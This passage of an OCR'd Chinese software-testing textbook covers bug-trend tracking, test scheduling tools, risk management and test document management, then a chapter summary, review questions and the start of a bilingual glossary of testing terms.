测试 所 发 现 的 软件 缺陷 数量 ,一定 程度 上 代表 了 软件 的 质量 ,通过 对 它 的 跟踪 来 控制 进 
度 也 是 一 种 比较 现实 的 方法 ,受到 测试 过 程 管理 的 高 度 重 视 。 在 整个 测试 期 间 主要 收集 当 
前 所 有 打开 的 (激活 的 ) 缺 陷 数 (Number of Open Bugs NOB) ,也 可 以 将 严重 级 别 的 缺陷 分 
离 出 来 进行 控制 ,从 而 形成 NOB 曲线 , 它 在 一 定 程度 上 反映 了 软件 质量 和 测试 进度 随时 间 
发 展 的 趋势 ,如 图 17-6 所 示 。 
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图 17-6 NOB 进度 曲线 示意 图 


在 NOB 曲线 法 中 ,最 重要 的 是 确定 基线 数据 或 者 典型 数据 , 即 为 测试 进度 设计 一 套 计 
划 曲 线 或 理想 曲线 。 至 少 在 跟踪 开始 的 时 候 , 需 将 项 目 进度 关键 点 (里 程 碑 ) 预 期 的 NOB 
限制 等 级 设置 好 ,以 及 确定 什么 时 间 NOB 达到 高 峰 ,NOB 在 测试 产品 发 布 前 能 否 降 到 足够 
低 的 水 平 。 比 较 理想 的 模式 是 ,相对 于 之 前 发 布 的 版 本 或 者 基线 ,NOB 高 峰 期 出 现 得 更 早 ， 


在 发 布 前 降 到 足够 低 并 且 稳定 下 来 。 

尽管 NOB 应 该 一 直 都 被 控制 在 合理 的 级 别 上 ,但 是 当 功能 测试 的 进展 是 最 主要 的 开 
发 事件 时 ,应 该 关注 的 是 测试 的 有 效 性 和 测试 的 执行 ,并 在 最 大 程度 上 鼓励 缺陷 的 发 现 。 过 
早 地 关注 NOB 减少 ,可 能 导致 目标 冲突 ,导致 潜在 的 缺陷 逃逸 或 者 缺陷 发 现 的 延迟 。 因 
此 ,在 测试 紧张 阶段 ,主要 应 该 关注 的 是 那些 阻止 测试 进展 的 关键 缺陷 的 纠正 。 当 然 ,在 测 
试 接近 完成 时 ,就 应 该 强烈 关注 NOB 的 减少 ,因为 NOB 曲线 的 后 半 部 分 尤为 重要 ,因为 它 
与 质量 问题 密切 相关 。 

Myers 有 一 个 关于 软件 测试 的 著名 的 反 直 觉 原则 : 在 测试 中 发 现 缺陷 多 的 地 方 ,还 有 
更 多 的 缺陷 将 会 被 发 现 。 这 个 原则 背后 的 原因 在 于 : 如 果 测 试 效率 没有 被 显著 的 改善 ,发 
现 缺陷 多 的 地 方 ,意味 着 代码 质量 更 低 。 举 一 个 例子 ,模块 A 存在 1000 个 缺陷 ,模块 B 存 
在 200 个 缺陷 ,测试 效率 都 是 95% ,那么 测试 人 员 在 模块 A 中 会 发 现 其 中 的 950 个 缺陷 ,在 
模块 B 中 会 发 现 其 中 的 190 个 缺陷 ,最 后 模块 A 中 遗漏 的 缺陷 数 是 50, 而 模块 B 中 遗漏 的 
缺陷 数 是 10, 这 个 例子 ,验证 了 上 述 原则 。 另 外 ,修正 越 多 的 缺陷 时 ,会 引入 更 多 的 新 的 缺 
陷 。 因 此 , 遇 到 这 种 情况 ,要 挖掘 深层 次 的 原因 ,然后 采取 不 同 的 处 理 措施 。 

(1) 如 果 缺 陷 发 生 率 跟 以 前 发 布 的 一 个 版 本 (或 模板 ) 相 同 或 者 更 低 ,就 应 该 考虑 当前 
版 本 的 测试 是 不 是 低 效 ? 如 果 不 是 ,那么 质量 的 前 景 是 乐观 的 ; 如 果 是 ,那么 就 需要 额外 的 
测试 。 除 了 要 对 当前 的 项 目 采取 措施 ,还 需要 对 开发 和 测试 的 过 程 进行 改善 。 

(2) 如 果 缺 陷 发 生 率 比 以 前 发 布 的 一 个 版 本 (或 模板 ) 更 高 ,那么 就 应 该 考虑 是 否 为 显 
著 提高 测试 效率 做 了 计划 ,并 实际 上 做 到 了 这 一 点 ?如 果 没 有 ,那么 质量 将 得 不 到 保证 ; 如 
果 是 这 样 ,那么 质量 将 得 到 保证 或 者 说 质量 是 乐观 的 。 

3. 测试 进度 管理 工具 

“ 工 欲 善 其 事 , 必 先 利 其 器 *"。 要 做 好 项 目 管理 ,首先 需要 一 个 可 以 规划 、 跟 踪 、 控 制 和 改 
进项 目 管理 的 工具 。 项 目 管理 工具 很 多 ,包括 的 商业 工具 有 Oracle 公司 的 Primavera P6 
Professional Project Management、IBM 公司 的 Rational Portfolio Manager、HP 公司 的 
Project and Portfolio Management (PPM) 等 ,开源 工具 有 Teamwork、DotProject、Xplanner 
和 Open Workbench 等 。 这 里 以 微软 公司 推出 的 Project 为 例 ,简单 介绍 测试 项 目 管理 所 需 
的 基本 功能 。MS Project 可 以 细致 地 反映 项 目 进行 的 整个 过 程 ,便于 跟踪 项 目的 进展 \ 项 
目的 分 工 等 。 它 将 项 目 计划 分 为 不 同类 型 来 监控 项 目的 状态 , 即 比 较 基准 计划 、 当 前 计划 、 
实际 计划 和 待 执 行 计划 。 

(1) 比较 基准 计划 (原始 计划 ): 记录 了 最 初 制定 项 目 计 划 时 项 目的 状态 情况 。 由 于 项 
目 一 旦 开始 运作 执行 ,如 何 评价 计划 的 实施 情况 或 计划 本 身 存 在 的 问题 ,需要 有 一 个 参照 
系 。Project 把 最 初 编制 的 计划 作为 “比较 基准 ?存储 起 来 ,在 项 目 调整 过 程 中 始终 保持 不 

(2) 当前 计划 (正在 进行 ): 项 目 启动 以 后 ,由 于 需求 变化 和 其 他 因素 影响 ,计划 总 是 处 
在 变化 中 ,所 以 需要 反映 项 目 实际 执行 的 计划 。 由 于 当前 计划 是 根据 实际 已 经 发 生 的 计划 
和 任务 间 的 制约 关系 而 计算 出 来 的 ,因此 对 于 项 目 计划 的 管理 和 预测 都 具有 现实 的 指导 

(3) 实际 计划 (已 完成 的 ) : 指 那些 已 经 被 实施 的 计划 ,完成 计划 中 相应 的 任务 。 已 经 
被 执行 的 计划 是 计算 项 目 产 值 的 依据 ,并 为 规划 当前 和 未 来 计划 的 基本 信息 。 


(4) 待 执行 计划 (未 完成 的 ) : 不 仅 要 考虑 已 经 完成 了 多 少 任务 ,还 必须 知道 有 多 少 剩 
余 的 工作 量 需 要 完成 , 即 待 执行 计划 。 如 果 一 个 任务 已 经 开始 但 还 没有 做 完 ,系统 会 根据 完 
成 情况 自动 计算 剩余 工作 量 ,并 重新 测算 需要 的 工期 和 成 本 。 
MS Project 提供 “资源 使 用 状态 ”视图 ,逐个 列 出 资源 承担 的 任务 、 在 每 个 任务 上 工作 
的 日 期 人 数 、 工 作 量 、 费 用 .累计 工作 量 和 累计 费用 等 ,通过 从 多 角度 .丰富 的 图 表 来 描述 : 
(1) 网 络 图 ,主要 描述 任务 之 间 的 关系 ,可 以 选择 任意 5 种 任务 信息 进行 显示 。 通 过 选 
择 不 同类 别 的 信息 ,可 以 建立 基本 信息 、 基 线 、 跟 踪 、 费 用 等 各 种 网 络 图 。 
(2) 横道 图 : 主要 描述 任务 与 时 间 的 关系 ,显示 出 工序 的 关系 线 , 即 每 个 任务 的 开始 、 
结束 时 间 ,而 且 能 够 知道 任务 的 紧 前 和 紧 后 工序 ,就 像 在 网 络 图 上 工作 一 样 。 横 道 条 上 可 以 
把 每 个 任务 的 基线 计划 当前 计划 、 实 际 计 划 、 完 成 百分比 .时 差 同时 显示 出 来 ,便于 进行 综 
合 分 析 。 
(3) 资源 图 : 反映 资源 使 用 状况 为 重点 的 信息 ,为 资源 分 析 和 跟踪 提供 了 8 种 图 形 , 即 
资源 需求 曲线 图 ,资源 工作 量 图 ,资源 累计 工作 量 图 、. 超 分 配 工作 量 图 .资源 已 经 分 配 的 百 分 
数 图 ,资源 当前 可 用 工作 量 图 、 成 本 图 、 累 计 费 用 图 等 。 
MS Project 还 内 置 了 多 种 筛选 器 ,帮助 建立 丰富 的 报告 ,覆盖面 广 ,可 以 直接 使 用 。 
。 项 目 摘要 报告 : 项 目 汇总 报告 。 
。 任 务 报告 : 未 开始 \ 正 在 进行 的 已 经 完成 的 ,推迟 开始 的 ,马上 开始 的 、 进 度 拖 后 的 
等 各 种 任务 报告 ,还 包括 关键 任务 、 使 用 某 种 资源 的 、 超 出 预算 的 、 本 周 /月 /季度 的 
等 各 种 任务 报告 ,任务 基本 信息 报告 。 

。 资源 报告 : 预算 报告 , 超 强度 分 配 、 超 出 预算 等 资源 报告 ,资源 工作 安排 报告 ,工作 
量 报告 , 周 (月 , 季 , 年 ) 现 金 流 报告 ,资源 基本 信息 报告 。 


17.6 测试 项 目的 风险 管理 


测试 总 是 存在 着 风险 ,软件 测试 项 目的 风险 管理 尤为 重要 ,应 预先 重视 风险 的 评估 ,并 
对 要 出 现 的 风险 有 所 防范 。 在 风险 管理 中 ,首先 要 将 风险 识别 出 来 ,特别 是 确定 哪些 是 可 避 
免 的 风险 ,哪些 是 不 可 避免 的 风险 ,对 可 避免 的 风险 要 尽量 采取 措施 去 避免 ,所 以 风险 识别 
是 第 一 步 , 也 是 很 重要 的 一 步 。 风 险 识 别 的 有 效 方法 是 建立 风险 项 目 检查 表 , 按 风险 内 容 进 
行 分 项 检查 , 逐 项 检查 。 然 后 ,对 识别 出 来 的 风险 进行 分 析 , 主 要 从 下 列 4 个 方面 进行 分 析 : 

(1) 发 生 的 可 能 性 (风险 概率 ) 分 析 , 建 立 一 个 尺度 表示 风险 可 能 性 (如 极 罕见 、 罕 见 、 普 
通 、 可 能 、 极 可 能 ); 

(2) 分 析 和 描述 发 生 的 结果 或 风险 带 来 的 后 果 , 即 估计 风险 发 生 后 对 产品 和 测试 结果 
的 影响 ,造成 的 损失 等 ; 

(3) 确定 风险 评估 的 正确 性 ,要 对 每 个 风险 的 表现 范围 .时 间 做 出 尽量 准确 的 判断 ; 

(4) 根据 损失 (影响 ) 和 风险 概率 的 乘积 ,来 排 定 风 险 的 优先 队列 。 

评估 方法 可 以 采用 情景 分 析 和 专家 决策 方法 ,损失 期 望 值 法 、 风 险 评 审 技 术 模 拟 仿真 法 
和 FMEA 法 (Failure Mode and Effects Analysis, 失 效 模型 和 效果 分 析 ) 等 。 

为 了 避免 转移 或 降低 风险 ,事先 要 做 好 风险 管理 计划 ,包括 单个 风险 的 处 理 和 所 有 风 
险 综合 处 理 的 管理 计划 。 风 险 的 控制 是 建立 在 上 述 风险 评估 的 结果 上 ,对 风险 的 处 理 还 要 


制定 一 些 应 急 的 有 效 的 处 理 方案 ,不 同类 型 的 风险 ,对策 也 是 不 同 的 。 

(1) 采取 措施 避免 那些 可 以 避免 的 风险 ,如 可 以 通过 事先 列 出 要 检查 的 所 有 条 目 ,在 测 
试 环境 设置 好 后 ,由 其 他 人 员 按 已 列 出 条 目 逐 条 检查 ,避免 环境 配置 错误 。 

(2) 风险 转移 ,有 些 风险 可 能 带 来 的 后 果 非 常 严重 ,能 否 通 过 一 些 方法 ,将 它 转化 为 其 
他 一 些 不 会 引起 严重 后 果 的 低 风险 。 如 产品 发 布 前 夕 发 现 ,由 于 开发 某 个 次 要 的 新 功能 ,给 
原 有 的 功能 带 来 一 个 严重 Bug ,这 时 要 修正 这 个 Bug 所 带 来 的 风险 就 很 大 ,采取 的 对 策 就 是 
关闭 (不 激活 ) 那 个 新 功能 ,转移 修正 Bug 的 风险 。 

(3) 有 些 风 险 不 可 避免 ,就 设法 降低 风险 ,如 “程序 中 未 发 现 的 缺陷 ”这 种 风险 总 是 存在 
的 ,可 以 通过 提高 测试 用 例 的 覆盖 率 (如 达到 99.9%) 来 降低 这 种 风险 。 

风险 管理 的 完整 内 容 和 对 策 , 如 图 17-7 所 示 。 控 制 风 险 还 有 一 些 其 他 策略 ,如 .: 


在 做 计划 时 ,估算 资源 时间、 预算 时 ,要 留 有 余地 ,如 增加 10%~~15% 的 额度 ; 而 且 
把 一 些 环节 或 边界 上 的 有 变化 、 难 以 控制 的 因素 列 入 到 风险 管理 计划 中 ; 

对 每 个 关键 性 技术 人 员 培 养 后 备 人 员 ,做 好 人 员 流 动 的 准备 ,采取 一 些 措施 确保 某 
些 关 键 人 员 一 旦 离开 公司 ,项目 不 会 受到 严重 影响 , 仍 能 可 以 继续 下 去 ; 

制定 文档 标准 ,并 建立 一 种 机 制 , 保 证 文档 及 时 产生 ; 

对 所 有 工作 实施 互相 审查 机 制 ,及 时 发 现 问题 ; 

对 所 有 过 程 进行 日 常 跟踪 ,及 时 发 现 风险 出 现 的 征兆 ,避免 风险 。 

六 检查 项 目 列表 
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图 17-7 风险 管理 的 内 容 和 对 策 


17.7 软件 测试 文档 的 管理 


软件 开发 过 程 中 产生 一 系列 文档 ,从 项 目 启动 前 的 计划 书 到 项 目 结束 后 的 总 结 报告 ,其 
间 还 有 产品 需求 ,设计 文档 ,测试 计划 ,测试 用 例 和 各 种 重要 会 议 的 会 议 记录 等 ,这 些 文档 在 
测试 工作 中 具有 重要 作用 ,例如 加 深 对 需求 和 设计 的 理解 ,是 大 家 达成 共识 的 见证 ,也 是 今 
后 沟通 的 桥梁 、 经 验 的 积累 和 为 将 来 知识 传递 打下 基础 。 所 以 ,有 必要 将 文档 管理 融入 到 项 
目 管理 中 去 ,包括 文档 的 分 类 存储 和 归档 管理 ,版 本 管理 .模板 管理 .一 致 性 管理 等 。 

1. 测试 文档 的 分 类 管理 

测试 文件 简单 地 分 为 两 类 ,测试 文档 模板 和 测试 过 程 中 生成 的 文档 。 测 试 文档 模板 是 
对 相应 的 文档 内 容 ,格式 注意 事项 等 给 出 严格 的 要 求 和 示范 。 基 本 的 测试 文档 模板 有 测试 
计划 模板 ,测试 规格 说 明 书 模板 ,测试 用 例 模 板 测试 评审 报告 模板 和 测试 质量 报告 模板 等 。 
多 数 情况 下 ,都 是 采用 电子 文档 ,而 且 通过 文档 管理 系统 来 进行 存储 和 管理 。 测 试 文档 按 用 
途 划分 ,可 以 分 为 以 下 几 种 : 

。 测试 日 常 工作 文档 (流程 定义 .工作 手册 等 ) 。 

。 测试 培训 文档 和 相关 技术 文档 。 

。 测试 计划 ,设计 文档 。 

。 测试 跟踪 、 审 查 资 料 。 

。 测试 结果 分 析 报 告 或 产品 发 布 质量 报告 。 

2. 文档 模板 

有 些 测 试 文档 是 每 个 测试 项 目 都 必须 具备 的 ,如 测试 计划 书 、 测 试用 例 测试 项 目 报告 、 
质量 分 析 报告 等 。 对 于 这 些 经 常 使 用 的 文档 类 型 ,就 可 以 把 格式 和 内 容 统 一 起 来 ,为 每 一 种 
类 型 的 文档 建立 相对 固定 的 模板 。 模 板 建立 之 后 ,便于 文档 的 管理 和 分 类 ,更 重要 的 是 更 好 
地 保证 文档 的 工作 质量 .提高 文档 编写 的 效率 ,而 且 不 同 的 人 阅读 相同 的 文档 时 ,大 家 理解 
会 比较 一 致 ,因为 文档 模板 对 术语 、 内 容 条 款 等 方面 有 明确 的 说 明 。 

对 于 特定 的 项 目 , 文 档 模板 可 以 酌情 增删 其 中 的 条 目 。 制 定 模板 的 初衷 是 为 了 方便 工 
NE ,而 不 是 禁 钢 人 们 的 思维 ,在 做 具体 工作 的 时 候 , 一 定 要 把 握 好 原则 性 和 灵活 性 的 平衡 。 

3. 测试 文档 的 存储 和 共享 

要 做 好 测试 文档 的 存储 ,事先 要 做 好 各 种 准备 ,从 文档 的 分 类 文件 名 的 格式 .文件 的 模 
板 等 方面 严格 要 求 测试 文件 的 编制 。 对 于 文件 名 ,虽然 是 一 个 小 问题 ,做 得 不 好 也 会 引起 很 
多 麻烦 ,所 以 要 有 明确 的 规定 ,要 求 文件 名 必须 用 英文 ,并 包含 测试 组 名 、 项 目 名 、 文 件 类 型 
和 日 期 等 ,如 : 

T- Team Name - Project Name — Weekly Report - 2004 - 3 - 08. doc 

其 中 ,T 代表 测试 类 文档 。 

如 果 是 用 文档 管理 系统 (如 Microsoft Sharepoint, EMC DMS) 来 管理 ,文件 名 可 以 简 


化 ,但 需要 增加 一 些 数据 项 来 记录 测试 组 名 、 项 目 名 文件 类 型 和 日 期 等 信息 。 
文档 存储 要 和 怎么 使 用 这 些 文档 结合 起 来 做 ,也 就 是 说 ,从 测试 文档 的 使 用 目的 来 进行 


文档 存储 的 规划 和 设计 。 测 试 文档 的 使 用 可 以 分 为 个 人 使 用 、 项 目 组 内 部 使 用 和 所 有 测试 
人 员 都 需要 使 用 ,其 存储 也 服务 这 三 个 对 象 , 要 考虑 具体 的 使 用 方法 。 概 括 起 来 讲 ,文档 存 
储 的 规划 、 设 计 要 考虑 以 下 因素 : 

(1) 强大 的 搜索 功能 : 按 文档 标识 符 、 作 者 、 标 题 和 全 文 等 进行 多 关键 字 的 搜索 ; 

D 安全 性 : 测试 文档 一 般 会 涉及 公司 内 部 的 机 密 信息 ,需要 保证 其 安全 性 ,严格 设置 
相关 的 用 户 权限 体系 ; 

(3) 目录 结构 可 以 按照 团队 项目、 文件 类 型 等 多 个 层次 来 设置 ; 

(4) 操作 要 灵活 ,包括 存 取 、 上 和 载 .修改 (Update) 、 阅 读 等 各 项 操作 。 


小 结 


软件 测试 项 目的 管理 ,在 共性 上 继承 了 软件 工程 学 和 管理 学 的 项 目 管理 理念 ,方法 、 技 
术 和 工具 ,这 其 中 自然 包括 过 程 管理 .进度 管理 .资源 管理 .风险 管理 和 文档 管理 等 领域 的 成 
果 继 承 。 

但 在 软件 测试 项 目的 管理 中 ,会 遇 到 一 系列 特有 的 问题 ,如 软件 质量 标准 定义 不 准确 、 
任务 边界 模糊 、 软 件 测试 项 目的 变化 控制 和 预警 分 析 要 求 高 \ 项 目 成 员 的 责任 心 和 稳定 性 对 
测试 项 目的 质量 有 很 大 的 影响 等 。 由 于 这 些 问 题 , 软 件 测试 项 目的 管理 更 需要 细致 ,风险 管 
理 流程 跟踪 和 改进 更 为 重要 , 需 设法 在 项 目 组 织 . 过 程 监控 和 质量 管理 等 方面 去 处 理 。 

软件 测试 项 目 管理 另 一 个 焦点 集中 在 过 程 管理 ,从 测试 项 目 准备 .测试 计划 阶段 、 测 试 
设计 阶段 一 直到 执行 阶段 ,都 要 从 测试 本 身 的 特点 出 发 ,围绕 产品 质量 线索 展开 ,借助 测试 
管理 系统 ,最 终 保障 测试 项 目的 顺利 进行 。 


思考 题 


1. 当 你 被 指定 为 某 软件 测试 项 目的 组 长 应 该 做 哪些 准备 ? 

2. 只 要 搭建 正确 的 测试 环境 ,并 且 拥 有 足够 的 资源 ,就 能 够 保证 测试 项 目的 成 功 。 这 
种 观点 正确 吗 ? 

3. 既然 事先 制定 了 项 目 计划 和 规则 ,就 要 始终 严格 按照 计划 和 规则 办 事 , 测 试 执行 中 
是 否 果真 如 此 ? 

4. 如 何 把 握 项 目 管理 中 的 资源 分 配 ? 

5. 请 结合 具体 的 项 目 ,讨论 在 软件 项 目 管理 中 最 重要 的 因素 是 什么 。 


APPENDIX A. 


附录 人 A 


软件 测试 中 英文 术语 及 
中 文 解释 


-A- 


Acceptance testing 验收 测试 

软件 或 硬件 开发 的 一 个 测试 阶段 ,以 检验 所 测试 的 系统 是 否 正 确 
实现 了 所 有 的 用 户 需 求 ,以 保证 其 达到 可 以 交付 使 用 的 状态 ,通常 是 
产品 发 布 之 前 最 后 一 个 测试 阶段 。 

Accessibility 可 接近 性 

使 组 成 软件 的 各 部 分 便于 选择 使 用 或 维护 的 程度 。 

Active or open 激活 状态 

未 被 解决 的 缺陷 的 一 种 状态 ,如 新 报告 的 Bug 或 验证 后 Bug 仍 
然 存在 的 状态 。 

Adaptability 适应 性 

使 不 同 的 系统 约束 条 件 和 用 户 需 求 得 到 满足 的 容易 程度 。 

Analytical model 分 析 模 型 

用 一 组 可 解 方程 来 表示 一 个 过 程 或 一 个 现象 。 

Architecture 体系 结构 

系统 各 部 件 之 间 的 结构 和 关系 。 

Automated test case generator 自动 测试 用 例 生成 器 

Audit 审核 

为 获得 审核 证 据 并 对 其 进行 客观 的 评价 ,以 确定 满足 经 协商 的 准 
则 的 程度 所 进行 的 系统 的 、 独 立 的 并 形成 文件 的 过 程 。 

Auditor 审核 员 

Auditor qualifications 审核 员 资 格 

Availability 可 用 性 

软件 在 投入 使 用 时 能 实现 其 指定 的 系统 功能 的 概率 ,可 用 系统 正 
常 工作 时 间 和 总 的 运行 时 间 之 比 计算 。 


Behavioral test 行为 测试 

基本 计算 机 系统 、 硬 件 或 软件 假定 完成 的 用 途 和 功能 测试 ,根据 产品 特征 、 操 作 描述 和 
用 户 方案 进行 ,也 被 称 为 黑 盒 测 试 或 功能 测试 。 

Baseline 基线 

在 配置 项 目 生 存 周期 的 某 一 特定 时 间 内 ,正式 指定 或 固定 下 来 的 配置 标识 文件 和 一 组 
这 样 的 文件 或 数据 ,可 用 作 下 一 步 开 发 的 基础 。 

Black-box test 黑 盒 测试 

不 管 程序 内 部 结构 是 什么 样 的 ,把 系统 或 软件 看 成 一 个 黑 盒 , 只 是 根据 输入 输出 条 件 、 
边界 条 件 和 限制 ,从 用 户 观点 /数据 驱动 的 方式 ,来 验证 产品 所 应 该 具有 的 功能 是 否 实现 ,是 
否 满足 用 户 的 要 求 。 参 见 行为 测试 。 

Bottom-up Integration 自 底 向 上 系统 集成 方法 

Boundary condition 边界 条 件 

描述 极 值 的 测试 需求 。 如 果子 系统 取 范 围 L[0…12] 内 的 数 , 则 0 和 12 就 是 边界 。 边 界 
条 件 比 内 部 值 更 容易 发 现 程序 缺陷 ,因为 程序 员 常 常 在 边界 犯错 误 。 

Bug 软件 缺陷 (通俗 说 法 ) 

系统 或 程序 中 隐藏 的 功能 缺陷 、 错 误 或 瑕 症 , 其 导致 软件 产品 在 某 种 程度 上 不 能 满足 用 
户 的 需要 。 

Bug crawl 错误 评审 会 议 

集中 对 测试 系统 中 每 个 被 报告 的 现存 错误 进行 逐 项 评审 的 会 议 或 讨论 。 在 评审 过 程 
中 ,可 以 指定 错误 修改 日 期 .优先 级 .推迟 处 理 不 严重 的 错误 。 也 被 称 为 错误 剔除 (bug 
scrub) 会 议 。 

Build 构建 

软件 产品 的 一 个 工作 版 本 ,其 中 包含 最 终 产品 将 拥有 的 能 力 的 一 个 规定 的 子 集 。 

B/S. Browser/Server 浏览 器 /服务 器 (结构 ) 
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Capability 能 力 

组 织 .体系 或 过 程 实现 产品 并 使 其 满足 要 求 的 本 领 。 

Capacity test 容量 测试 

预先 分 析出 反映 软件 系统 应 用 特征 的 某 项 指标 的 极限 值 ,如 某 个 Web 站 点 可 以 支持 多 
少 个 并 发 用 户 的 访问 量 。 

Certification 认证 

证 实 软件 系统 或 程序 在 其 运行 环境 中 能 满足 规定 的 需求 的 过 程 ,认证 使 验证 和 确认 的 
过 程 扩 充 到 实际 的 或 模拟 的 运行 环境 中 。 

Change control 变更 控制 管理 

提议 作 一 项 变更 并 对 其 进行 估计 、 同 意 或 拒绝 .调度 和 跟踪 的 过 程 。 


CCB, Change Control Bard 变更 控制 委员 会 

控制 需求 变化 、 代 码 修改 的 一 种 内 部 组 织 。 

Characteristic 特性 

区 分 的 特征 。 

Close or inactive 关闭 或 非 激活 状态 

已 经 被 解决 的 缺陷 的 一 种 状态 , 即 被 测试 人 员 验 证 后 ,确认 Bug 不 存在 之 后 的 状态 。 

Closure period 修复 周期 

从 最 初 的 缺陷 报告 到 修复 确认 之 间 的 时 间 。 修 复 时 期 是 衡量 开发 部 门 对 缺陷 报告 响应 
的 速度 。 

Code audit 代码 审计 

由 某 人 或 小 组 对 源 代码 进行 的 独立 的 审查 ,以 验证 其 是 否 符合 软件 设计 文件 和 程序 设 
计 标 准 , 还 可 能 对 正确 性 和 有 效 性 进行 估计 。 

Code Completed 代码 完成 

某 个 版 本 所 有 新 功能 和 改动 的 代码 完成 时 间 , 是 软件 开发 周期 中 的 一 个 重要 里 程 碑 。 

Code Freeze 代码 冻结 

所 有 的 缺陷 修改 之 后 ,不 允许 对 代码 做 任何 非 授权 的 改动 起 始 时 间 ,是 另 一 个 重要 的 里 
程 碑 。 

Code inspection 代码 审查 

Code walk 一 through 代码 走 查 

Cohesion AE 

单个 程序 模块 所 执行 的 诸 任务 在 功能 上 互相 关联 的 程度 。 

Compatibility 兼容 性 

软件 从 一 个 计算 机 系统 或 环境 移植 到 另 一 个 系统 或 环境 的 容易 程度 。 

Compatibility testing 兼容 性 测试 

测试 在 特殊 的 硬件 /软件 /操作 系统 /网 络 环境 下 的 软件 表现 。 

Compile 编译 

将 高 级 语言 程序 变换 成 与 之 等 价 的 浮动 的 或 绝对 的 机 器 代码 。 

Complexity 复杂 性 

系统 或 系统 组 成 部 分 的 复杂 程度 ,如 接口 的 数量 和 错 综 程度 、 条 件 转移 的 数量 和 错 综 程 
度 . 嵌 套 的 深度 .数据 结构 的 类 型 等 。 

Component 组 件 “部件 

构成 系统 或 程序 的 基本 部 分 .具有 独立 功能 的 单元 。 

Component testing 组 件 测试 

在 系统 集成 之 前 ,对 构成 系统 的 各 个 组 件 进 行 测试 的 阶段 ,类 似 于 模块 测试 或 单元 测试 。 

Confirmation tests 确认 测试 

一 套 选 定 的 测试 ,用 于 对 报告 中 不 能 完全 修复 的 缺陷 进行 测试 的 方法 ,包含 对 每 个 缺陷 
报告 都 重新 执行 测试 过 程 和 隔离 步骤 。 

Configuration 配置 

为 确定 系统 或 系统 组 成 部 分 的 特定 版 本 而 在 技术 文档 中 提出 的 需求 和 制定 的 产品 硬 


件 、 软 件 的 特性 要 求 。 
Configuration management 配置 管理 
标识 和 确定 系统 中 配置 项 的 过 程 ,在 系统 整个 生存 周期 内 控制 这 些 项 的 变化 ,记录 并 报 
告 配置 的 状态 和 更 动 要 求 , 验 证 配置 项 的 完整 性 和 正确 性 。 
Continual improvement 持续 改进 
增强 满足 要 求 的 能 力 的 循环 活动 。 
Contractually required audit 合同 所 要 求 的 审计 
Correction 纠正 
为 消除 已 发 现 的 不 合格 所 采取 的 措施 。 
Corrective action 纠正 措施 
为 消除 已 发 现 的 不 合格 或 其 他 不 期 望 情况 的 原因 所 采取 的 措施 。 
Coupling HAE 
计算 机 程序 中 模块 之 间 相 互 依赖 的 度量 。 
Coverage 覆盖 率 
是 检查 对 系统 或 子 系统 测试 是 否 彻底 的 一 种 程度 衡量 ,是 测试 质量 的 近似 度量 。 
Criteria 准则 
确定 为 依据 的 一 组 方针 、 程 序 或 要 求 。 
Critical bug 严重 的 缺陷 
指导 致 主要 功能 或 特性 没有 实现 或 丧失 的 严重 缺陷 。 
Customer satisfaction 顾客 满意 
顾客 对 其 要 求 已 被 满足 的 程度 的 感觉 。 
C/S, Client/Server 客户 端 /服务 器 (结构 ) 
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Data dictionary 数据 字典 

软件 系统 中 的 所 有 数据 项 的 名 字 、 含 义 及 相关 特性 (如 数据 项 长 度 、 表 示 等 ) 的 集合 。 

Data structure 数据 结构 

数据 项 之 间 的 次 序 安排 和 可 访问 性 的 一 种 形式 表示 ,其 中 不 涉及 其 实际 存储 排列 方法 。 

Data flow testing 数据 流 测 试 

测试 需求 需要 检验 所 有 已 定义 的 数据 输入 、 处 理 、 输 出 的 一 种 测试 类 型 。 

Debugging 调试 

开发 人 员 确 定 引 起 缺陷 的 根本 原因 和 确定 可 能 的 修复 措施 的 过 程 ,通过 调试 来 修复 
缺陷 。 

Defect 缺陷 

未 满足 与 预期 或 规定 用 途 有 关 的 要 求 。 

Delivery 交付 

软件 研制 周期 中 的 一 个 阶段 ,将 产品 提交 给 计划 中 的 用 户 供 其 使 用 。 

Dependability 可 信和 性 

关于 可 用 性 及 其 影响 因素 : 可 靠 性 、 维 修 性 和 维修 保障 性 的 全 部 特性 。 


Design and development 设计 与 开发 

将 要 求 转 换 为 规定 的 特性 或 产品 .过 程 或 体系 的 规范 的 一 组 过 程 。 

Design specification 设计 规格 说 明 

描述 设计 要 求 的 正式 文档 ,对 系统 或 系统 组 成 部 分 (如 软件 配置 项 、 算 法、 控制 逮 辑 、 数 
据 结 构 ,输入 输出 格式 和 接口 等 ) 进 行 设计 。 

Development life cycle 开发 生存 周期 

Deviation permit 偏离 许可 

产品 实现 前 ,偏离 原 规 定 要 求 的 许可 。 

Distributed testing 分 布 式 测试 

在 多 个 位 置 .涉及 多 个 开发 小 组 或 两 者 兼备 的 情况 下 进行 的 测试 。 

Document 文件 

信息 及 其 承载 媒体 。 

Driver 驱动 模块 

对 底层 或 子 层 模块 进行 集成 测试 中 ,所 编制 的 调用 这 些 模 块 的 程序 。 
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Effectiveness 有 效 性 

完成 策划 的 活动 并 达到 策划 的 结果 的 程度 。 

Efficiency 效率 

得 到 的 结果 与 所 使 用 的 资源 之 间 的 关系 。 

Encapsulation 封装 

将 系统 功能 隔离 在 一 个 模块 中 ,并 为 该 模块 提供 精确 的 规格 说 明 的 面向 对 象 技术 。 

Entry criteria 进入 标准 

一 套 决策 的 指导 方针 或 数据 指标 ,用 于 决定 项 目 是 否 准备 好 进入 特定 的 测试 阶段 。 

Error seeding 错误 播种 

一 种 有 效 性 的 理论 方法 。 在 测试 时 向 被 测试 系统 中 加 入 已 知 的 错误 ,然后 检查 这 些 
已 知 错误 被 发 现 的 比例 ,通过 这 个 比例 来 衡量 被 测试 系统 中 残留 的 错误 并 测量 测试 系统 
自身 。 

Error, faults and failures 错误 .缺陷 与 失效 

根据 IEEE83 ,错误 是 人 为 的 失误 ,产生 一 个 或 多 个 缺陷 ,这 些 缺 陷 被 嵌入 在 程序 的 文 
本 中 。 执 行 有 缺陷 的 代码 时 ,会 产生 零 个 或 多 个 失效 。 

Escalate 向 上 呈 交 

将 问题 递交 到 更 高 级 管理 层 寻求 解决 方案 。 

Evaluation 评价 评估 

决定 某 产 品 、 项 目 、 活 动 或 服务 是 否 符合 它 所 规定 的 准则 的 过 程 。 

Exit criteria 退出 标准 

与 Entry criteria 相反 ,这 里 是 决定 项 目 是 否 可 以 退出 或 结束 当前 的 测试 阶段 的 标准 或 


Experience of quality 质量 体验 

客户 和 用 户 对 于 系统 是 否 实现 他 们 的 期 望 和 需求 的 看 法 。 
Exploratory testing 探索 性 测试 

